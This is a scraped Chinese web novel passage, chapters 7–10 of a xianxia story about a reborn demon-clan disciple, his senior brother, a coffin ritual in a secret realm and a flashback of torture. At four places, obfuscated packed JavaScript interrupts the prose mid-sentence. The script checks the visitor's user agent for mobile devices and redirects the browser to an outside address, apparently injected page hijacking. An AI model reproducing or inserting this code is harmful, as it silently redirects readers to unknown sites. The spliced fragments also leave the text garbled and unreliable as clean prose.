《师兄他迷途不返》 7. 遗愿 “棺材。”孟惘一手撑在棺材盖上,指腹压得微微泛白,“棺材很窄,是单人的。” 谢惟抿唇不语。 说明结局不是农夫躺在了里面,就是仙家女躺在了里面。 如果这样的话,那么他的遗愿是—— 生未同衾死同穴。 所以他们要再找一个能容纳两个人的棺材,然后一起“死”在里面。 风乔儿和温落安也立马反应过来。 可这能容纳两个人的棺材可上哪儿找?他们并不知村上谁家卖棺材。 孟惘看着林中稀疏的树木,就算要做,木材也要现砍。 “温落安,你本体是只雪狐?”谢惟问道。 温落安一怔,随即点了点头。 “不用灵力跑得快吗?” “……比一般马车快几倍,我努力。”他答道。 孟惘立刻明白了谢惟的用意,朝一个方向一指,“工匠家在隔七八条大街处的酒楼上,二楼,你去把那个工匠带来,我们三个砍木材,尽量赶在天亮之前。” 虽然那外界来的工匠做花轿的技法并不纯熟,但他既能短时间就把花轿做完,说明他也确实是有点本事。 “好,我会尽快把他拉回来。” …… 待他们砍够了做棺材的木材后,天已经亮了。 眼前骤然恢复成了昨天未入夜的样子,一大批异变者蜂拥而上。 不到迫不得已是万万不可用灵力的,酒楼中的那个男人就是后果。 比起受这群怪物的物理攻击,那股不知名的力量才更可怕。 但这也……太多了! 孟惘左右前后都被围了个水泄不通,身上多处都挂了彩,只有魔界百里一族才会有的自愈能力让他一点伤口都未留下,血该流的却是流了。血迹少他还可以说是秘境人的血沾上了衣服,如果血迹多起来可就不好交代了…… 正纠结着,只听“轰”地一声,周围之人刹时被浑厚的灵气击飞出去! 他不可置信地侧目望去—— 谢惟竟……用了灵力…… 那人一袭白衣快步朝这边走来,身上也带着些伤—— “跟在我身边,别离开。” 言罢一个淡蓝色不规则法阵开启,直开到树林中去,将秘境的人都阻挡在外,风乔儿也抽身进了法阵。 “那现在……” 孟惘话音一顿,瞳孔骤缩,连忙扶住要倒下的谢惟,忽见他脸色苍白,嘴角流出一串鲜红的血迹,“师兄你——” 坏了!说漏嘴了…… 外界之人不能相认,他刚才没忍住脱口而出…… 谢惟用手背擦掉血,冰凉的指腹点了一下他的眉心。 几乎是在一瞬间,一股力量封住了他的灵脉。 这是在防止他使用灵力。 他不知道《秘术》所说“比灵力更可怕强大的力量”是什么,因为现在违背规则的后果全应在了谢惟身上。 但是“同为外界之人,相见莫要相认”呢?他刚才明明叫了“师兄”的,为什么自己没事? 孟惘毫不犹豫地掐了一下自己。 像是失去了痛觉。 顿时一股无名火起,他忍无可忍地咬了咬牙,一把抓住他的胳膊,“你对我用了移灵术?!” 修仙之人可以选择将另一位修士的五感转移到自己身上,但前提是二人都要有灵丹。 别说是重生回来了,孟惘上一世也从未对谢惟发过火,看着那人嘴唇都毫无血色了还在硬撑,甚至把他的那份都转到自己的身上—— “你……” 他莫名其妙憋着一肚子火不知道怎么发,说话也乱了方寸,“我不需要你……” “我如此,仅是因为你是我师弟。”谢惟淡声打断他道。 别恶心我。 别恶心我,谢惟。 你上一世就是这么骗我的。 你的好师弟是孟惘,而我是百里念。 你会为了孟惘跳入秘境,拼死护他周全,也会为了杀死百里念不惜任何代价。 突然一声惨叫划破天空,一只雪狐拉着一个人快速穿梭在人群之中,那人约莫二十来岁的样子,背着一个小箱子,坐在一块木板上被雪狐拉得飞起,死死抓着绳子惨叫道—— “大哥——!爹!爹!你慢点我要死了——!” 他“爹”不理他,拉着他踩上秘境人的肩膀高高跃起,掠过畸变的人群扑进了阵中。 温落安打了个滚又变回了人形,身上被血染了一半,显然是路上遭到了不少攻击。 那工匠则直接俊脸朝地,朝他爹跪了下去又给身下的大地来了个霸总式强吻。 他面目扭曲地抬起头,十分敬业地说道,“我来做棺材。” 孟惘问道,“你多久能做好?” “用不了半柱香,因为我在外面做过这东西。” …… 直到正午,棺材做好了。 阵法之外的人早已畸变得不成人形,他们用手捶,用身子砸,用指甲抓,有些几乎要化成了液体淌进来,叫声尖锐刺耳连绵不绝,阵法的光也渐渐淡了下来。 但孟惘只是在想谢惟正在承受着怎样的痛苦。 他和谢惟身穿锦绣红衣,相继躺了进去。 那个工匠帮他们盖上了棺材盖,世界骤然陷入一片黑暗。孟惘侧身背对着谢惟,等着被他用匕首或灵力终结生命。 死了就能出去了,他安慰自己道。 心口那处有些发麻,心脏早有预感地防备收缩着,为了保命条件下极端严重的求生欲望和生理反应让他差点胃反酸水,使劲吞咽了几下才没让自己干呕出来。 眼前一片黑暗也仍努力睁大眼睛,他自己也不知道是在看什么,想看什么。 死不可怕,孟惘害怕的是等待死的过程。 他怕被打,怕被杀,怕疼痛,他就是个胆小鬼。 但他也只会考虑自己,上一世他手中的人命数不胜数,他也从未心生愧疚。 吃冷肉喝凉血,轻人命重己利,好伪辩假辞令,是个天生的坏胚子。 感觉到身后人在慢慢靠近,一种清香丝丝缕缕缠绕在鼻尖,谢惟轻轻捂住了他的眼睛—— 耳边是熟悉的跳声,以及微弱的呼吸声。 他听他带着哄小孩般的语气,只是尾音虚浮着—— “孟惘,别害怕,这次不会疼了。” 确实没有再感受一次心脏被刺穿的疼痛。 因为他知道自己的痛觉在谢惟身上。 好像陷入了一个白色的空间,众多纷杂的画面自眼前急速掠过。 他看到一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702537|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俊俏的书生考试无数次落榜,其实是被富人家花钱顶替了位置。 他看到书生无奈归家,老人每日让他砍柴烧火种田喂牛,不停地骂他“杂种”“废物”。 他看到书生变成了村里最无用的农夫,衣服被补丁占了大半,布鞋踏得宽大鞋底也被磨破,裸露在外的皮肤晒成小麦色,胳膊扛着木材被磨出了血…… 有一次上山拾柴,遇到了一位极其漂亮的仙家女,他震惊地看她半晌,会心一笑,轻轻唤了一声,“苑儿,别来无恙。” 原来他们是儿时玩伴,青梅竹马。 未料分别再见,已是云泥之别。 说得是待他考取功名后,三茶六礼,名媒正娶。 可他违约了。 后来他回到家中,两日未眠,泪湿满襟。 再后来那仙家女却独自跑到村中找到了农夫,哭着告诉他自己的爹娘同意了。 “你来提亲吧,我一定嫁给你,我什么都不要。” 就这样,他们定亲了。 老太太很喜欢那仙家女,长得漂亮家里又有钱,贤惠又会说话。她觉得好日子就要来了。 可是没有。 “你可攀上高枝啦!” “真以为自己是个什么东西。” “糙孙子克妻,可别高兴太早哦!” “一家穷酸子命,你那孙子什么都不是!人家肯定反悔!” 老太太遭不住身边人如此说,便将所有的怨恨不满都归到了农夫身上。 为什么他能笑得那么开心。 老太太如是想着。 直到有一天,她问仙家女,“你家人为什么同意将你嫁来?” 仙家女红了眼眶,“我和仙家断绝了关系,但我以后会努力挣钱孝顺他们……” 老太太悬着的心彻底死了。 仙家女不会给她带来好日子,只会有越来越多的辱骂…… 她偷偷为他备了口棺材。 成亲那日,他们还没拜堂,农夫就看见了放在旁边屋前的那口棺材。 他不解,问她,从哪里来。 老太太只是笑着让他们先拜堂。 方一拜之后,还未抬起头来,一截刀片插入了农夫的后颈,鲜血喷出,止不住。 耳边响起新娘的哭声和尖叫声。 他惊愕得看着面前那个老人,蓦地明白了—— 自己就不该存在于这世上。 虽然那些看不得别人过得比自己好,也瞧不起别人比自己穷的同村人阴险,卑鄙,无情,但他们有一句话说的很对—— “你就是短命的种!祸害,事事讨不着好!” 确实是这样。 他夺过刀片,猛地刺入老太太的胸膛。 他用没染上血的手背替新娘擦干眼泪,“……拜完堂吧,也算娶了你了。” “二拜,愿,地赐连理。” “三拜,愿,山河晏清。” 眼前一片混浊,他突然倒下。 仙家人赶来了。 农夫隐约听到仙家女的哭声和挣扎,她不愿走。 仙家女自杀了。 他能感觉到有人把自己搬进了一个冰冷棺材里,但是她没有进来。 她被带走了。 怨灵不渡,积聚成鬼,盘旋此地,遂成秘境。 8. 出境 孟惘眼前的画面突然黑了下来,再次有光线之时,自己正站在一片平地上,已然出了秘境。 面前有一个白影一晃,他本能地伸手去扶。 “师兄?!” 谢惟昏倒了。 孟惘瞳孔微缩,抄起他的膝弯便将他打横抱起,御剑飞速向南墟赶去。 怀中人体温冰凉,脉搏微弱,隔着衣物都能感到寒意。最主要的是,察觉不到他体内的丝毫灵力,像个凡人一样。 一路上疾风刮过面颊,孟惘强制自己不要乱想,况且师尊这时候一定出关了,肯定没事的。 不到半日的时间赶回南墟,他开启境内传送阵直接到了山上,一脚踹开明兰殿的大门,“师尊呢?!” 傅靖元被他这阵势吓了一跳,窗边鸟振翅而逃,树上用灵力灌养的反季节桃花都抖了三抖。 而当他看清孟惘怀中的谢惟时,脸色立马由惊异转为沉重,他眉头紧锁,利落地站起身朝殿外走去—— “先带他回月华殿,我给师尊传音,他一会儿就来。” …… 进了月华殿,他将谢惟轻轻放在了床榻上,替他脱了鞋盖好被子,然后坐在床边握住他冰凉的手,面色凝重地灌输灵力。 傅靖元一眼就看出了问题,“这是怎么弄的,灵脉受损这么严重?” 何止是灵脉受损,孟惘握着他的手紧了紧,他的灵丹正在丧失灵气,精神力极速下降,体温也越来越低…… “在秘境里用了灵力。” “他不知道秘境里不能……” 傅靖元突然噎住了。 也对,谢惟怎么可能不知道。 只是当时情况危急,就算谢惟不用灵力,孟惘也会用的,他们两个人中总得有人要用的,否则根本撑不到做完棺材。 “而且通常来讲古土事议事会之地不会有秘境打开,既然打开了应该就和前几月应怜荒突然出现的魔气一样,是天地异象,法场不稳……”傅靖元沉声道。 法场错乱千年难遇,只有灵力达到飞升水平的大能自爆法相的威力才能产生。 至今也只有七百多年前魔界第三代魔尊百里绎被逼到绝路时自爆法相—— 但其后果远比现下的情况严重,说是搭上了半个天下也毫不为过。 所以他才说是“法场不稳”,而不是“法场错乱”。 只是这异象出现得毫无理由。 月华殿门被打开,一个头戴银色发冠,剑眉星目的白发男子走了进来。 修仙之人只要资质不是太差,相貌都是停留在二十几岁之后就不会再随年龄变化。 硬朗俊美的五官加之大乘末期的修为,光是站在那里便有一种威严气场。 “师尊。”孟惘站起身来,同傅靖元一齐向他颔首行礼。 天玄淡金色的眼眸轻轻扫过自己的两位弟子,视线最终落在了躺在床上的谢惟身上。他点点头,摆了摆手,“先出去等着吧,别那么紧张。” “是。” …… “你掉下去后,他让我回去,然后自己跳下去了。” “我知道。” “你明知会搭上自己还要用千钧术救我,我没想到。”傅靖元懒洋洋笑着。 “你没想到的多着呢。”孟惘薅着头发没好气道。 你也想不到我杀过你一次,你更想不到我以后还会再杀你一次。 想到入秘境前见到的障目城中的景象,他忍不住道,“你知不知道……有什么东西可以埋在心脏里?” “情人?” “啧,”孟惘斜他一眼,“收收你的土味,我说的是实体。” “嗯……”傅靖元一只手捏着下巴思考道,“血蛊?那个是种在灵丹里的,灵丹不是离心脏很近吗,也差不多吧。” 孟惘一怔,“什么样的?” “我从一本书上看的,是个上古邪术,南蛮古族发明的,那时候修真界也才出现不久,血蛊要用上千名女婴熬炼提取的精血和人油来伺养,是至阴之物,埋入灵丹后会和灵丹融为一体,其威力可以随时让一个将要飞升的大能暴毙身亡。” 孟惘的心揪了起来,“我是说那血蛊长什么样。” “暗红色,短胖,大约拇指那么大,它是嵌在灵丹里的。”傅靖元想着书上那些图画道。 “哦,那不是。”孟惘松了口气。 谢惟那个明显是个极细的丝状物或极薄的片状物,而且是透明的。 “不是什么?” “就是师兄剖出来的那个……他没和你们说?”孟惘看着对面的神情,立马反应了过来。 本以为谢惟没和他说是因为他昏倒了,没想到竟也没和他们说,看样子连提都没提。 “剖什么?”傅靖元一头雾水。 “没什么,师兄那天从幻境里剖了个兔子给我烤吃了。”孟惘胡诌道。 傅靖元,“……” 又等了一会儿,他见孟惘跟脚底生火似的一会走来走去,一会扶墙站着,一会又蹲下啃手指甲,实在忍不住开口提醒道,“小惘,师尊你还不信吗?他说没事就肯定没事,别担心了。” 孟惘瞪他,“谁担心了?” “是是是,”傅靖元点头应和道,“方才见你着急忙慌那个样儿,还以为百里夏兰亲自率军杀这儿来了。” 百里夏兰…… 孟惘心里咯噔一下。 他一手抓住自己的头发蹲在地上,偏头将脸埋入臂弯里—— 为什么怕谢惟出事。 他出事不是正好吗。 反正本来就不是他死就是我死,他如果真的灵力尽失或者直接死掉,我就不用死了。 孟惘坚信他所受的所有痛苦都是因为世界上的活人太多所导致的。 他总是极为恶劣地想着如果能多死一个人,他就能多开心一分。 可是如果谢惟死掉了,他可能会难过很多分。 “三师兄!” 风乔儿和温落安才刚刚从古土赶到。 风乔儿两只手揉了揉被风吹变形的脸,震惊地看着孟惘,“我去,没事儿吧你,开飞船都要两日的行程你半日就回来了?!你用了多少灵力?!” 呵呵,我落地的时候仙剑刚好碎没了,你说我用了多少灵力。 硬生生把上好仙器用成了稀碎铁片的孟惘冷笑道。 “大师兄呢?!” “师尊正给他疗伤,说不用担心。”傅靖元说道。 “哦,”风乔儿呼出口气,猛地放下心来,开玩笑道,“看三师兄在古土那样,我还以为差点见不着大师兄最后一面了呢,来的时候头都快被吹掉了。” 看出来了,和她同乘一剑的温落安头发已经反重力了。 “师弟,”她回头一看,十分没良心嗤笑出声,伸出手扒拉着他的头发,腹部忍笑忍得抽痛,“怎得还成云中君了啊?” 温落安没说话,乖乖低着头任她摆弄。 孟惘微微抬着唇角看着他们,笑意却未达眼睛里。 过了一会儿后,他让几人先回殿中,待谢惟醒后再通知他们。 傅靖元便带着温落安回去疗伤了。 风乔儿本想在这儿等等的,孟惘又道— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702538|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — “你们进秘境这几天也累了,回去休息吧,况且师兄不会那么快就醒的,他精神力受损太过严重,大概要昏睡一段时间。” 就这样,月华殿外仅剩下了他一人。 他就坐在一棵秃树下,倚着树干蜷着一条腿,袖中的藤蔓钻出来,长出枝叶缠上他的指尖。 他生来便亲土木,犹其是藤蔓,结丹后几乎是神识一动胳膊上便会出现几条藤蔓捆在上面,长短软硬全凭他调遣,附上灵力还能当仙器用。 谢惟也是知道的,但他也不清楚这具体是什么原因,只默认为与他的木灵伴生体质有关。 孟惘有时候觉得如果他不是魔族的话,可能就是个藤条精了。 唉,还是藤条精好,总比人人恨不能诛之的魔族强。 见谁不爽抽一嘴巴,还跑得快。 …… 孟惘也不知过了多久,当月华殿殿门打开时,他什么也来不及想,立马跑了进去。 躺在床上的谢惟仍是双目紧闭,脸色苍白,丝毫没有要醒来的迹象,他捏住那人的手腕去探他的灵脉,发现确有好转,灵力也在慢慢恢复。 “多谢师尊。”孟惘转头对出了殿门的天玄道了一句。 “由于平日炼就灵印的大量损耗,他的精神力本就不稳,这次又损伤严重,不是那么容易恢复,即便是醒了,七天之内也莫要让他下床走动……” 天玄早已离开朝生殿,只有声音空灵地在耳畔徐徐响起。 他坐在床边低头看着昏迷之人。 这场重生来的太过突然,他都没想好以后该怎么办。 是避免被谢惟识破身份,努力留在修真界,留在他身边。还是提前入魔,免去被他生剥灵丹、洗灵伐髓之痛? 对了,他还缺把剑。 孟惘沉默半晌,起身走出殿外,去了万剑阁。 那里有上万把宝剑,也算是个低等仙器库,只要是境内弟子,都可以来此寻剑。 推开剑阁的门,琳琅满目的仙剑整齐有序的插在暗格中,孟惘在廊道中走着—— 花里胡哨,没一把好看的。 虽然无妄杀了他一次,但不得不说,无妄是他见过最好看的剑了,整体以银白色为主,剑柄偏圆,上面绣着银色暗纹,剑肩开刃,向下弯成一个极为适当的弧度,拔出时给人一种凌冽的压迫感。剑身则是通体灰白明亮如镜。剑鞘偏蓝,没有宝石珠玉的镶嵌,但全鞘漫着波浪纹绣,细触之下方见壮阔,如有洪流暗涌。 谢惟的无妄剑和傅靖元的朝生剑都是他们的本命仙器,再比如风乔儿那把红缨软枪,温落安那张七弦红木琴…… 他们五个只有孟惘没炼。 修士修为达到一定程度可炼本命仙器,需要耗费大量的灵力和精神力,还要花费大量时间,而且还需要机缘。 本命仙器有灵识,越早炼成越好,它们会随着与主人待在一起的时间越长而变得越来越强,越来越能打,与主人气命极度牵系贴合。 上一世的孟惘不耐花几年时间去炼个仙器,就从万剑阁拿,用废一把换一把,直到十七岁生辰那年,谢惟给了他一把匕首—— 将古。 是上等仙器,后来也就当作了他的本命仙器,但也只是当作而已,他死后那匕首也不会跟着他消失,因为它不是用孟惘的灵力炼的,而是谢惟给他炼的。 他停下脚步,拔出了个素黑的剑收入了识海,迈步走出万剑阁,重新去往月华殿。 他真的不擅长用剑,也不会用,普通修士的剑三年都不换一次,换作他,撑三个礼拜都难,用两次就豁口了。 9. 做梦 孟惘从月华殿偏殿内的书房中找了一个板凳,一打眼就看到了谢惟书桌上随意摆放着的一个破旧本子。 他好像从哪里见过。 倒不是有什么十分特别之处,只是这本子表皮泛黄,好像年代久远,有经常被人翻动的痕迹,巴掌大小,可以随身携带。 随身携带…… 孟惘想起来了。上一世在率兵攻打修真界时,谢惟在浮屠海阻挠,激战中一样东西自他怀中掉落入海,那人却想都没想直接跟着跳入海中。 后来将人从水中救出时他已昏了过去,那本破书却被他用灵力保护得滴水未沾。 翻开一看,一股淡淡的血腥味混杂着海风扑面而来。 大半本都布满了密密麻麻的暗红色叉号,看着触目惊心,每个叉号前都标有一个数字,他从第一页翻到写着字的最后一页,从一到一千四百零二。 他记得很清楚,那时只有一千四百零二的后面是空的,没有任何用血划出的标记。 明明可以放在储物空间内,他偏要贴身带在身上。 那这次怎么会放在书桌上? 他心里有些发怵,有种要做亏心事的愧疚和难堪,仍是伸出了手去翻开想找到那第一千四百零二的数字…… 一千四百零二,后面俨然一个醒目的叉号。 再翻一页,后面有被撕过的痕迹,大概有两三张,撕口并不干净整齐,像是一气之下顺手撕的,残页还沾有血迹。撕掉的两三张之前大概被他流血的手用力摁过,因为下一张完整的纸上能看出被洇上的血痕,隐约是食指和中指指腹的形状。 这血迹暗沉干瘪,似是许多年了。不同的是几张后出现的新数字一千四百零三,时间看起来要新许多。 他记这个是什么意思? 是他要杀的人数?还是要炼的灵印数? 孟惘翻书的手猛的一颤。 脑中有什么东西炸了,一时连呼吸都忘记了。 上一世到他二十四岁反攻五境的时候也才一千四百零二,现在他才十六岁,还没入魔,已经到一千四百零三了? 所以他这一世是什么时候写下一千四百零三的,岂不是比现在更早? 也就是比上一世的时间至少早了十年。 无论是杀一个人,还是炼一个灵印,都不可能和前世有那么大的偏差。 所以只有一种可能…… 这个本子就是自己上一世翻看的那个,然后这新的第一千四百零三,是在上一世的基础上继续写上的。 孟惘突然有些呼吸困难,胃部一阵痉挛,强忍下因过度紧张而想要干呕的冲动—— 谢惟也是重生者。 可为什么他能带着上一世的书重生。 如果是灵魂重生到许多年前,或者同一个世界时空回溯,不会能携带着外物的。 但如果是神魂要被拉到一个另辟的世界,靠意念将某个小物件与自己的神魂附着,应该就可以做到。 心跳呯呯地在胸腔中震动,在死寂的书房中振耳欲聋。 他在那个世界中,确实是死了的。 但是躯体和意识到了这个世界存活,这是另辟的一个世界,不知从何年开始。周围之人,全是复制来的却仍有独立思想的人。 孟惘忍不住去想—— 谢惟在那个世界是怎么死掉的?难道是因为百里夏兰? 他已经知道我是魔族了为什么还不趁早杀了我? 他知道我也是从那里来的吗? 以及,孟惘从一开始就心存疑虑的,他自己能重活一次,到底是为什么? 谢惟在这件事中究竟扮演的是什么角色…… 他闭上眼睛摁了摁眉心,强制自己冷静下来。凭记忆把书摆为原来的样子,又将板凳放回原地,轻轻地关上了书房门,不留一丝痕迹,好似这里从未被外人踏足过。 孟惘无奈只能从自己的南繁殿拿了个椅子,趴在谢惟的床边,黑溜溜的眼睛临摹他清秀的侧脸。 谢惟到现在还没杀他,多半是想按上一世的发展来走,如果没有重伤痊愈的证据,他很难当众揭穿自己的身份,若是莫名其妙杀了自己,他多半还要背上残杀同门的罪名。 所以孟惘暂且宽慰自己,在十八岁千仞山重伤之前,那人拿不着他的把柄,他近两年还是安全的。只不过那人对他的好成了刻意装出来的罢了。 绝对不能被他发现自己也是重生的人,不然全都乱套了。 谢惟这个人藏的太深,孟惘担心万一他不按原来的路子走,自己到时会很难把握时局,甚至会被他提前杀死。 ……师兄,你要演,我陪你演。 魔尊是一定要当的,魔界也一定要回,五境是一定要杀,百里一族在第八代要重新统一四界,不论你们愿不愿意。 不会让你死掉。 这次要彻底废掉你的灵丹,把你关在清音殿里。 他唇边荡起一抹狡黠的笑意,眉眼弯起,如同一泓微波粼粼的清泉搅碎了月光。 我要把你拉下来。不计代价,不择手段。 他决定现在就开始偷偷修魔,借着灵丹还能隐藏魔气。 越快继位越好。 …… 孟惘做了一个很长的梦…… 手腕处一阵剧痛传来,眼前景象都被染上一层薄血。 惩戒台下传来嘈杂的声音,好像一切都陷入了混乱,他感觉到有人在握着自己的手腕,貌似是为了防止自己逃跑。 冰冷的温度。 “诸位,此人隐藏身份潜藏在南墟境中,是谢某不察,险些酿成大祸。” 谢某…… “经灵脉愈合速度和血液中的魔气来看,此人确是魔界百里一族,其煞气绝非普通魔族能比。” “谢宗师,当初可是你捡了他回南墟,是不是得给个什么说法?” 谢宗师…… “大师兄!是不是有什么误会?那可是三师兄!你快带他下来啊!” 风乔儿的哭声。 “师兄,我认为查明再议……” 是傅靖元。 “无需再议,今有五位境主在场见证,又有各境弟子亲眼所见,孟惘在千仞山上重伤后魔气暴虐,灵脉重伤又迅速愈合完好如初,证据确凿。” “现下谢某会亲自剥其灵丹,洗其灵髓,断其仙路,送回魔界。” 孟惘蓦地笑了,心脏揪成一团,他偏头去看谢惟那张道貌岸然的脸。 台下又有人喊起来,“送回魔界?放虎归山!直接杀了便可!” 谢惟冷声道,“现今百里夏兰代理掌权,怕是早已知晓孟惘身份,倘若公然杀死百里一族最后遗孤,魔界大举进兵反杀,试问谁能担得起后果?” “第三代魔尊百里绎旁系血亲能继位的都继位了,活着的都轮了一遍,一共到第七代,死的死,飞升的飞升,百里一族就剩下个百里夏兰算是百里绎的表妹,还有个上任魔尊留下的小女儿,女子不能继位是魔界的传统……” 一个索苑境名叫齐原的人悠悠道—— “况且百里夏兰肺疾缠身,自出生起就恨不得天天泡在血池续命,又血统不纯,自是不会有什么后代……” “你到底想说什么?”谢惟冰冷的视线落在他的脸上。 “有传言道七百年前百里绎死时留有一个小儿子,魔界封骨术又出了名的了得,这突然冒出来的百里遗孤,到底是谁的儿子,大家都心知肚明吧……” 五位境主的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“浮鸿,”天玄沉声道,“既是我门内弟子,自当由我境来处理,谢惟的提议显然是最好的办法。” 就这样,孟惘被绑到了悬宁架上。 灵力化出的锁链将自己束缚在离地面十多米的高空,手腕脚腕被勒的生疼。 他低下头去,静静地望着谢惟。 去年弱冠他送予他的生辰礼将古还在右侧怀中,一呼一吸胸膛起伏间触感鲜明。 谢惟抬手,手下聚集了一道道水流似的东西,发着寒光,汇集,盘旋,再散开…… 其中一道猛地飞来刺入胸腔,血光四溅,他没忍住闷哼出声,只能握拳将指甲扣入手心中,希望能分散注意力稍微缓解一下心口处的疼痛。 三十二道灵刀刺入,撑开皮肉防止愈合,灵丹剥落。 他不知道怎么熬过来的,就这么看着那人面无表情地将自己的灵丹剥出。 孟惘无数次在心中祈求,再偏一点,偏一点点,只要能刺中心脏,灵刃在心脏里面待的时间久一点,就能死掉了。 可他没有。 谢惟极端残忍的精准,每一道术法都避开了要害。 一身黑衣被汗和血洇湿。 台下上百人的目光打在身上。 此刻他是最恶的厉鬼,最脏的乞儿,最大的笑话。 姓“百里”就是他最大的罪。 太阳光照得睁不开眼,他头晕目眩,胃痛难忍,偏偏还被绑着不能蹲下身来缓解恶心和呕吐的欲望,心口处的痛已经麻木了,他现在连蜷缩的权力都没有。 突然头部传来一阵剧痛…… “恶敕罪,念离合,魂兮来兮,依果坐……” “亨穷去,死生年,泽兮化兮,有余邪……” 洗灵诀。 谢惟,师兄…… 你就如此留不得我。 10. 夏兰 待他再次睁开眼时,发现自己正躺在一张冰冷的石床上,周边传来连绵不绝的泠泠水声。 悬宁架,风乔儿,傅靖元,还有……谢惟,都不见了。 孟惘抬了抬胳膊,身上的血迹没有了,衣服也被换掉了。 又下意识摸了摸自己的心口…… 伤口……自然是愈合了。他唇边溢出一丝苦笑。 他用手撑着身下的石床缓缓坐起来,默默打量着四周…… 像是洞穴,不远处有一片热气蒸腾的温泉,有水自上方的天口处流下,侧壁光滑,洞内光线昏暗,那天口是唯一的光源,太阳光倾洒在水面上,水雾朦胧。 一阵极轻的脚步声传来,来人行路平稳自然而且不动声色,不仔细听根本无法察觉。 “醒了?” 未见其人先闻其声。声音雌雄莫辨,气息微弱不稳,仅这两个字就能听出来尾音虚浮,像是有什么常年旧疾坏了根子。 由于洞内昏暗他竟没发现侧壁还有摆放的油灯,随着那人进入洞口,一排排油灯接续亮起,青白色的灯光下孟惘看清了来人的脸—— 当真是一副极苦的面相,长相清秀干净,但是斜眉横飞入鬓,丹凤眼,上三白,月牙白的眸色,由于太瘦显得双颊微微凹陷,立领束袖的一袭红衣,气质凌冽。 肤白胜雪,像鬼怪。 孟惘在心里不合时宜地形容道。 “哑巴?” “你是谁?”孟惘见她脾气甚差,不由得开口问道。 “我是谁?” 那人冷笑一声,垂着眼皮看他,一字一顿道,“我是百里绎的表妹,你的姑姑,百里夏兰。” 未待孟惘开口,她转身继续说道,“修真界既已把你送回了魔界,以后你就是百里念。” 百里夏兰伸出手来,无数条蚕丝般半透明且极细的线在她手心中蔓延伸展出来,绕到了洞口处,织成了一张密密麻麻的大网。 “把你那个恶心的名字丢掉,下一次再回修真界,不是去看望你那没用的师兄师弟们的,” 她回头看向他,眼光如淬了毒的刀,冰冷的没有一丝温度,“而是去杀了他们的。” 孟惘震惊地看着她。 她捂住嘴咳嗽两声,身体微微颤抖,蓦地勾唇一笑,语气舒缓下来,“魔界百里一族的男儿,世代掌权,你可千万别是个废物,毁了你爹的基业。” “我爹……当真是百里绎?” 百里夏兰神色微缓,反问道,“你告诉我,你是从何时才有记忆的?” “……九岁。” 他第一次见谢惟时,谢惟摸他的骨相说他十一岁,但是,他当时分明是从两年前才开始记事的。 他没有九岁之前的记忆,睁开眼便只有一个声音在脑内徘徊,像是烙在灵魂深处的印记—— 魔族,百里念。 “其实算上那七百多年,你现在的年龄也七百多岁了。你阿爹活了近五百年,死时,你正好是九岁。” 这是他记忆里的和百里夏兰的初见,认为她简直就是个疯子。 百里夏兰封住洞口不让他出去,命令他在洞内利用魔气修魔,每过段时间就来看他修为的进展。 相处几天发现,她确实就是个疯子。 “如果喜欢谁,一定要让他们比你先死,就像你那帮师兄弟们。” 看似柔细的丝线绕在他的脖颈上,皮肤被割破流出了血,伤口又迅速愈合,还陷在肉里的线同新生的肉融为一体。 她按着孟惘的后脑勺逼他仰头对视,“懂了吗?” 孟惘咬牙颤抖道,“不懂。” 脖颈里的丝线被猛地抽起,顿时血珠飞溅,一片血肉模糊。 他这次没有出声,低着头忍住了。 “你这几年都是在跟什么人学些什么东西?” 百里夏兰低低地咳嗽起来,“你……倒是条修真界的好狗。” 她又开始莫名奇妙地笑出声,抬起手狠狠照着他的脸扇了下去,这巴掌灌入了灵力,孟惘被她一巴掌扇倒在地,脸侧肉眼可见地开始发红浮肿。 “你总有一天会明白,除了魔界,没有人会要你。” 每次她来,都会给他讲这些话,问他懂不懂。 他说不懂。 然后硬生生挨下几顿毒打。 她说,“你也就只有伤口愈合得快死不了这一个本事了。” 孟惘有胃病,就这样待在洞内三个多月未进食。 胃疼的受不了,他开始咬自己胳膊上的肉,喝自己的血,囫囵两口就咽下去。 原先幽亮的眸光一天天暗了下去,最后成了一汪死寂的黑潭,平静毫无波澜。 没事,反正还会再长。 成了怪物也没事,师兄看不到自己的狼狈样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702540|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 这一天,百里夏兰又来到了洞内。 孟惘听到熟悉的脚步声,本能地瑟缩了一下。 “伸手。” 他伸出手。 那人探了探他的灵脉,满意的点了点头。 